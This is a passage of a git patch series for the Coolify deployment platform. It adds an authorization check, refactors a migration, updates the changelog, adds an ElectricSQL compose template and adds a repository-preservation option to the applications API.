resources/views/livewire/shared-variables/server/show.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/resources/views/livewire/shared-variables/server/show.blade.php b/resources/views/livewire/shared-variables/server/show.blade.php index cddde9c76..c39b647fa 100644 --- a/resources/views/livewire/shared-variables/server/show.blade.php +++ b/resources/views/livewire/shared-variables/server/show.blade.php @@ -19,7 +19,7 @@
@if ($view === 'normal')
- @forelse ($server->environment_variables->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])->sort()->sortBy('key') as $env) + @forelse ($server->environment_variables->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])->sortBy('key') as $env) @empty From 5661c136f57502957eb284c47fea40e3c51d837c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 2 Jan 2026 19:51:09 +0100 Subject: [PATCH 10/95] fix: ensure authorization check for server view in mount method --- app/Livewire/SharedVariables/Server/Show.php | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/app/Livewire/SharedVariables/Server/Show.php b/app/Livewire/SharedVariables/Server/Show.php index 1dd9f9d46..6078ef36f 100644 --- a/app/Livewire/SharedVariables/Server/Show.php +++ b/app/Livewire/SharedVariables/Server/Show.php @@ -52,9 +52,10 @@ public function mount() $serverUuid = request()->route('server_uuid'); $teamId = currentTeam()->id; $server = Server::where('team_id', $teamId)->where('uuid', $serverUuid)->first(); - if (!$server) { + if (! $server) { return redirect()->route('dashboard'); } + $this->authorize('view', $server); $this->server = $server; $this->getDevView(); } @@ -180,4 +181,4 @@ public function render() { return view('livewire.shared-variables.server.show'); } -} \ No newline at end of file +} From 54c28710d9b1ebfd93a334fb97fe79674a9e6683 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 2 Jan 2026 19:51:16 +0100 Subject: [PATCH 11/95] fix: streamline migration for adding predefined server variables to existing servers --- ...d_server_variables_to_existing_servers.php | 76 ++++++++----------- 1 file changed, 31 insertions(+), 45 deletions(-) diff --git a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php index 3d09197b4..c67987e67 100644 --- a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php +++ b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php @@ -1,7 +1,8 @@ get(); + Server::query()->chunk(100, function ($servers) { + foreach ($servers as $server) { + $existingKeys = SharedEnvironmentVariable::where('type', 'server') + ->where('server_id', $server->id) + ->whereIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME']) + ->pluck('key') + ->toArray(); - foreach ($servers as $server) { - // Check if COOLIFY_SERVER_UUID already exists - $uuidExists = DB::table('shared_environment_variables') - ->where('type', 'server') - ->where('server_id', $server->id) - ->where('key', 'COOLIFY_SERVER_UUID') - ->exists(); + if (! in_array('COOLIFY_SERVER_UUID', $existingKeys)) { + SharedEnvironmentVariable::create([ + 'key' => 'COOLIFY_SERVER_UUID', + 'value' => $server->uuid, + 'type' => 'server', + 'server_id' => $server->id, + 'team_id' => $server->team_id, + 'is_literal' => true, + ]); + } - if (! $uuidExists) { - DB::table('shared_environment_variables')->insert([ - 'key' => 'COOLIFY_SERVER_UUID', - 'value' => $server->uuid, - 'type' => 'server', - 'server_id' => $server->id, - 'team_id' => $server->team_id, - 'is_literal' => true, - 'created_at' => now(), - 'updated_at' => now(), - ]); + if (! in_array('COOLIFY_SERVER_NAME', $existingKeys)) { + SharedEnvironmentVariable::create([ + 'key' => 'COOLIFY_SERVER_NAME', + 'value' => $server->name, + 'type' => 'server', + 'server_id' => $server->id, + 'team_id' => $server->team_id, + 'is_literal' => true, + ]); + } } - - // Check if COOLIFY_SERVER_NAME already exists - $nameExists = DB::table('shared_environment_variables') - ->where('type', 'server') - ->where('server_id', $server->id) - ->where('key', 'COOLIFY_SERVER_NAME') - ->exists(); - - if (! $nameExists) { - DB::table('shared_environment_variables')->insert([ - 'key' => 'COOLIFY_SERVER_NAME', - 'value' => $server->name, - 'type' => 'server', - 'server_id' => $server->id, - 'team_id' => $server->team_id, - 'is_literal' => true, - 'created_at' => now(), - 'updated_at' => now(), - ]); - } - } + }); } /** @@ -61,9 +49,7 @@ public function up(): void */ public function down(): void { - // Remove predefined server variables - DB::table('shared_environment_variables') - ->where('type', 'server') + SharedEnvironmentVariable::where('type', 'server') ->whereIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME']) ->delete(); } From 960ceddf1543e162cd5cc24e8b8aa7447dbd889a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 7 Feb 2026 18:52:40 +0000 Subject: [PATCH 12/95] docs: update changelog --- CHANGELOG.md | 44 ++++++++++++++++++++++++++++++++++++++------ 1 file changed, 38 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 87e8ae806..76c548627 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1190,7 +1190,16 @@ ### 🚀 Features - *(service)* Update autobase to version 2.5 (#7923) - *(service)* Add chibisafe template (#5808) - *(ui)* Improve sidebar menu items styling (#7928) -- *(service)* Improve open-archiver +- *(template)* Add open archiver template (#6593) +- *(service)* Add linkding template (#6651) +- *(service)* Add glip template (#7937) +- *(templates)* Add Sessy docker compose template (#7951) +- *(api)* Add update urls support to services api +- *(api)* Improve service urls update +- *(api)* Add url update support to services api (#7929) +- *(api)* Improve docker_compose_domains +- *(api)* Add more allowed fields +- *(notifications)* Add mattermost notifications (#7963) ### 🐛 Bug Fixes @@ -3773,6 +3782,7 @@ ### 🐛 Bug Fixes - *(scheduling)* Change redis cleanup command frequency from hourly to weekly for better resource management - *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.5 and 4.0.0-beta.420.6 - *(database)* Ensure internal port defaults correctly for unsupported database types in StartDatabaseProxy +- *(git)* Tracking issue due to case sensitivity - *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.6 and 4.0.0-beta.420.7 - *(scheduling)* Remove unnecessary padding from scheduled task form layout for improved UI consistency - *(horizon)* Update queue configuration to use environment variable for dynamic queue management @@ -3798,7 +3808,6 @@ ### 🐛 Bug Fixes - *(application)* Add option to suppress toast notifications when loading compose file - *(git)* Tracking issue due to case sensitivity - *(git)* Tracking issue due to case sensitivity -- *(git)* Tracking issue due to case sensitivity - *(ui)* Delete button width on small screens (#6308) - *(service)* Matrix entrypoint - *(ui)* Add flex-wrap to prevent overflow on small screens (#6307) @@ -4422,6 +4431,23 @@ ### 🐛 Bug Fixes - *(api)* Deprecate applications compose endpoint - *(api)* Applications post and patch endpoints - *(api)* Applications create and patch endpoints (#7917) +- *(service)* Sftpgo port +- *(env)* Only cat .env file in dev +- *(api)* Encoding checks (#7944) +- *(env)* Only show nixpacks plan variables section in dev +- Switch custom labels check to UTF-8 +- *(api)* One click service name and description cannot be set during creation +- *(ui)* Improve volume mount warning for compose applications (#7947) +- *(api)* Show an error if the same 2 urls are provided +- *(preview)* Docker compose preview URLs (#7959) +- *(api)* Check domain conflicts within the request +- *(api)* Include docker_compose_domains in domain conflict check +- *(api)* Is_static and docker network missing +- *(api)* If domains field is empty clear the fqdn column +- *(api)* Application endpoint issues part 2 (#7948) +- Optimize queries and caching for projects and environments +- *(perf)* Eliminate N+1 queries from InstanceSettings and Server lookups (#7966) +- Update version numbers to 4.0.0-beta.462 and 4.0.0-beta.463 ### 💼 Other @@ -5510,6 +5536,7 @@ ### 🚜 Refactor - Move all env sorting to one place - *(api)* Make docker_compose_raw description more clear - *(api)* Update application create endpoints docs +- *(api)* Application urls validation ### 📚 Documentation @@ -5616,7 +5643,6 @@ ### 📚 Documentation - Update changelog - *(tests)* Update testing guidelines for unit and feature tests - *(sync)* Create AI Instructions Synchronization Guide and update CLAUDE.md references -- Update changelog - *(database-patterns)* Add critical note on mass assignment protection for new columns - Clarify cloud-init script compatibility - Update changelog @@ -5647,7 +5673,9 @@ ### 📚 Documentation - Update application architecture and database patterns for request-level caching best practices - Remove git worktree symlink instructions from CLAUDE.md - Remove git worktree symlink instructions from CLAUDE.md (#7908) -- Update changelog +- Add transcript lol link and logo to readme (#7331) +- *(api)* Change domains to urls +- *(api)* Improve domains API docs ### ⚡ Performance @@ -6293,10 +6321,10 @@ ### ⚙️ Miscellaneous Tasks - *(versions)* Update Coolify versions to 4.0.0-beta.420.2 and 4.0.0-beta.420.3 in multiple files - *(versions)* Bump coolify and nightly versions to 4.0.0-beta.420.3 and 4.0.0-beta.420.4 respectively - *(versions)* Update coolify and nightly versions to 4.0.0-beta.420.4 and 4.0.0-beta.420.5 respectively -- *(service)* Update Nitropage template (#6181) -- *(versions)* Update all version - *(bump)* Update composer deps - *(version)* Bump Coolify version to 4.0.0-beta.420.6 +- *(service)* Update Nitropage template (#6181) +- *(versions)* Update all version - *(service)* Improve matrix service - *(service)* Format runner service - *(service)* Improve sequin @@ -6399,6 +6427,10 @@ ### ⚙️ Miscellaneous Tasks - *(services)* Upgrade service template json files - *(api)* Update openapi json and yaml - *(api)* Regenerate openapi docs +- Prepare for PR +- *(api)* Improve current request error message +- *(api)* Improve current request error message +- *(api)* Update openapi files ### ◀️ Revert From 32e1fd97aefe440b03ee1f750761c7e46df87ba8 Mon Sep 17 00:00:00 2001 From: Matteo Gassend Date: Sat, 7 Feb 2026 20:35:51 +0100 Subject: [PATCH 13/95] feat(templates): add ElectricSQL docker compose template --- public/svgs/electricsql.svg | 4 ++++ templates/compose/electricsql.yaml | 27 +++++++++++++++++++++++++++ 2 files changed, 31 insertions(+) create mode 100644 public/svgs/electricsql.svg create mode 100644 templates/compose/electricsql.yaml diff --git a/public/svgs/electricsql.svg b/public/svgs/electricsql.svg new file mode 100644 index 000000000..bbffe200a --- /dev/null +++ b/public/svgs/electricsql.svg @@ -0,0 +1,4 @@ + + + + diff --git a/templates/compose/electricsql.yaml b/templates/compose/electricsql.yaml new file mode 100644 index 000000000..b1ae2ff96 --- /dev/null +++ b/templates/compose/electricsql.yaml @@ -0,0 +1,27 @@ +# documentation: https://electric-sql.com/docs/guides/deployment +# slogan: Sync shape-based subsets of your Postgres data over HTTP. +# category: backend +# tags: electric,electricsql,realtime,sync,postgresql +# logo: svgs/electricsql.svg +# port: 3000 + +## This template intentionally does not deploy PostgreSQL. +## Set DATABASE_URL to an existing Postgres instance with logical replication enabled. +## If ELECTRIC_SECRET is set, your own backend/proxy must append it to shape requests. + +services: + electric: + image: electricsql/electric:1.4.2 + environment: + - SERVICE_URL_ELECTRIC_3000 + - DATABASE_URL=${DATABASE_URL:?} + - ELECTRIC_SECRET=${SERVICE_PASSWORD_64_ELECTRIC} + - ELECTRIC_STORAGE_DIR=/app/persistent + - ELECTRIC_USAGE_REPORTING=${ELECTRIC_USAGE_REPORTING:-false} + volumes: + - electric_data:/app/persistent + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:3000/v1/health"] + interval: 10s + timeout: 5s + retries: 5 From c180947d6b3664e81927e8d68a85df0caac85c0b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 7 Feb 2026 19:36:24 +0000 Subject: [PATCH 14/95] docs: update changelog --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 76c548627..1cc1e0649 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1200,6 +1200,7 @@ ### 🚀 Features - *(api)* Improve docker_compose_domains - *(api)* Add more allowed fields - *(notifications)* Add mattermost notifications (#7963) +- *(templates)* Add ElectricSQL docker compose template ### 🐛 Bug Fixes @@ -5676,6 +5677,7 @@ ### 📚 Documentation - Add transcript lol link and logo to readme (#7331) - *(api)* Change domains to urls - *(api)* Improve domains API docs +- Update changelog ### ⚡ Performance From 346b2b8bd8f60ebd9db3ad8e0ba9d96a6de318cf Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 14 Feb 2026 13:11:23 +0000 Subject: [PATCH 15/95] docs: update changelog --- CHANGELOG.md | 73 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1cc1e0649..223fad638 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1201,6 +1201,30 @@ ### 🚀 Features - *(api)* Add more allowed fields - *(notifications)* Add mattermost notifications (#7963) - *(templates)* Add ElectricSQL docker compose template +- *(service)* Add back soketi-app-manager +- *(service)* Upgrade checkmate to v3 (#7995) +- *(service)* Update pterodactyl version (#7981) +- *(service)* Add langflow template (#8006) +- *(service)* Upgrade listmonk to v6 +- *(service)* Add alexandrie template (#8021) +- *(service)* Upgrade formbricks to v4 (#8022) +- *(service)* Add goatcounter template (#8029) +- *(installer)* Add tencentos as a supported os +- *(installer)* Update nightly install script +- Update pr template to remove unnecessary quote blocks +- *(service)* Add satisfactory game server (#8056) +- *(service)* Disable mautic (#8088) +- *(service)* Add bento-pdf (#8095) +- *(ui)* Add official postgres 18 support +- *(database)* Add official postgres 18 support +- *(ui)* Use 2 column layout +- *(database)* Add official postgres 18 and pgvector 18 support (#8143) +- *(ui)* Improve global search with uuid and pr support (#7901) +- *(openclaw)* Add Openclaw service with environment variables and health checks +- *(service)* Disable maybe +- *(service)* Disable maybe (#8167) +- *(service)* Add sure +- *(service)* Add sure (#8157) ### 🐛 Bug Fixes @@ -4449,6 +4473,41 @@ ### 🐛 Bug Fixes - Optimize queries and caching for projects and environments - *(perf)* Eliminate N+1 queries from InstanceSettings and Server lookups (#7966) - Update version numbers to 4.0.0-beta.462 and 4.0.0-beta.463 +- *(service)* Update seaweedfs logo (#7971) +- *(service)* Soju svg +- *(service)* Autobase database is not persisted correctly (#7978) +- *(ui)* Make tooltips a bit wider +- *(ui)* Modal issues +- *(validation)* Add @, / and & support to names and descriptions +- *(backup)* Postgres restore arithmetic syntax error (#7997) +- *(service)* Users unable to create their first ente account without SMTP (#7986) +- *(ui)* Horizontal overflow on application and service headings (#7970) +- *(service)* Supabase studio settings redirect loop (#7828) +- *(env)* Skip escaping for valid JSON in environment variables (#6160) +- *(service)* Disable kong response buffering and increase timeouts (#7864) +- *(service)* Rocketchat fails to start due to database version incompatibility (#7999) +- *(service)* N8n v2 with worker timeout error +- *(service)* Elasticsearch-with-kibana not generating account token +- *(service)* Elasticsearch-with-kibana not generating account token (#8067) +- *(service)* Kimai fails to start (#8027) +- *(service)* Reactive-resume template (#8048) +- *(api)* Infinite loop with github app with many repos (#8052) +- *(env)* Skip escaping for valid JSON in environment variables (#8080) +- *(docker)* Update PostgreSQL version to 16 in Dockerfile +- *(validation)* Enforce url validation for instance domain (#8078) +- *(service)* Bluesky pds invite code doesn't generate (#8081) +- *(service)* Bugsink login fails due to cors (#8083) +- *(service)* Strapi doesn't start (#8084) +- *(service)* Activepieces postgres 18 volume mount (#8098) +- *(service)* Forgejo login failure (#8145) +- *(database)* Pgvector 18 version is not parsed properly +- *(labels)* Make sure name is slugified +- *(parser)* Replace dashes and dots in auto generated envs +- Stop database proxy when is_public changes to false (#8138) +- *(docs)* Update documentation link for Openclaw service +- *(api-docs)* Use proper schema references for environment variable endpoints (#8239) +- *(ui)* Fix datalist border color and add repository selection watcher (#8240) +- *(server)* Improve IP uniqueness validation with team-specific error messages ### 💼 Other @@ -4913,6 +4972,7 @@ ### 💼 Other - CVE-2025-55182 React2shell infected supabase/studio:2025.06.02-sha-8f2993d - Bump superset to 6.0.0 - Trim whitespace from domain input in instance settings (#7837) +- Upgrade postgres client to fix build error ### 🚜 Refactor @@ -5538,6 +5598,7 @@ ### 🚜 Refactor - *(api)* Make docker_compose_raw description more clear - *(api)* Update application create endpoints docs - *(api)* Application urls validation +- *(services)* Improve some service slogans ### 📚 Documentation @@ -5678,6 +5739,10 @@ ### 📚 Documentation - *(api)* Change domains to urls - *(api)* Improve domains API docs - Update changelog +- Update changelog +- *(api)* Improve app endpoint deprecation description +- Add Coolify design system reference +- Add Coolify design system reference (#8237) ### ⚡ Performance @@ -6433,6 +6498,14 @@ ### ⚙️ Miscellaneous Tasks - *(api)* Improve current request error message - *(api)* Improve current request error message - *(api)* Update openapi files +- *(service)* Update service templates json +- *(services)* Update service template json files +- *(service)* Use major version for openpanel (#8053) +- Prepare for PR +- *(services)* Update service template json files +- Bump coolify version +- Prepare for PR +- Prepare for PR ### ◀️ Revert From a0077de12cb9e05e6fb7c90ea223abaf329f2684 Mon Sep 17 00:00:00 2001 From: Ahmed Date: Sun, 15 Feb 2026 22:21:26 +0300 Subject: [PATCH 16/95] feat: add 'is_preserve_repository_enabled' option to application controler for PATCH, POST --- .../Api/ApplicationsController.php | 28 ++++++++++++++++--- 1 file changed, 24 insertions(+), 4 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 1e045ff5a..bad0adac3 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -226,6 +226,7 @@ public function applications(Request $request) 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'], ], ) ), @@ -391,6 +392,7 @@ public function create_public_application(Request $request) 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'], ], ) ), @@ -556,6 +558,7 @@ public function create_private_gh_app_application(Request $request) 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'], ], ) ), @@ -1002,7 +1005,7 @@ private function create_application(Request $request, $type) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled']; + $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled']; $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', @@ -1051,6 +1054,7 @@ private function create_application(Request $request, $type) $connectToDockerNetwork = $request->connect_to_docker_network; $customNginxConfiguration = $request->custom_nginx_configuration; $isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled', true); + $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled',false); if (! is_null($customNginxConfiguration)) { if (! isBase64Encoded($customNginxConfiguration)) { @@ -1253,6 +1257,10 @@ private function create_application(Request $request, $type) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } + if (isset($isPreserveRepositoryEnabled)) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } $application->refresh(); // Auto-generate domain if requested and no custom domain provided if ($autogenerateDomain && blank($fqdn)) { @@ -1486,6 +1494,10 @@ private function create_application(Request $request, $type) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } + if (isset($isPreserveRepositoryEnabled)) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } if ($application->settings->is_container_label_readonly_enabled) { $application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n"); $application->save(); @@ -1683,6 +1695,10 @@ private function create_application(Request $request, $type) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } + if (isset($isPreserveRepositoryEnabled)) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } if ($application->settings->is_container_label_readonly_enabled) { $application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n"); $application->save(); @@ -2378,6 +2394,7 @@ public function delete_by_uuid(Request $request) 'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'], 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'description' => 'Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false.'], ], ) ), @@ -2463,7 +2480,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -2713,7 +2730,7 @@ public function update_by_uuid(Request $request) $connectToDockerNetwork = $request->connect_to_docker_network; $useBuildServer = $request->use_build_server; $isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled'); - + $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled'); if (isset($useBuildServer)) { $application->settings->is_build_server_enabled = $useBuildServer; $application->settings->save(); @@ -2748,7 +2765,10 @@ public function update_by_uuid(Request $request) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } - + if ($request->has('is_preserve_repository_enabled')) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } removeUnnecessaryFieldsFromRequest($request); $data = $request->all(); From 53c1d5bcbb41bd03684b9ca4ae1f2e3a57a0dfca Mon Sep 17 00:00:00 2001 From: Ahmed Date: Sun, 15 Feb 2026 22:24:41 +0300 Subject: [PATCH 17/95] feat: add 'is_preserve_repository_enabled' field to shared data applications and remove from request --- bootstrap/helpers/api.php | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index d5c2c996b..da2eb6f21 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -139,6 +139,7 @@ function sharedDataApplications() 'docker_compose_custom_start_command' => 'string|nullable', 'docker_compose_custom_build_command' => 'string|nullable', 'is_container_label_escape_enabled' => 'boolean', + 'is_preserve_repository_enabled' => 'boolean' ]; } @@ -188,5 +189,6 @@ function removeUnnecessaryFieldsFromRequest(Request $request) $request->offsetUnset('force_domain_override'); $request->offsetUnset('autogenerate_domain'); $request->offsetUnset('is_container_label_escape_enabled'); + $request->offsetUnset('is_preserve_repository_enabled'); $request->offsetUnset('docker_compose_raw'); } From 20563e23ff338cdf7e288ee217f32b4ffaac21c8 Mon Sep 17 00:00:00 2001 From: Ahmed Date: Sun, 15 Feb 2026 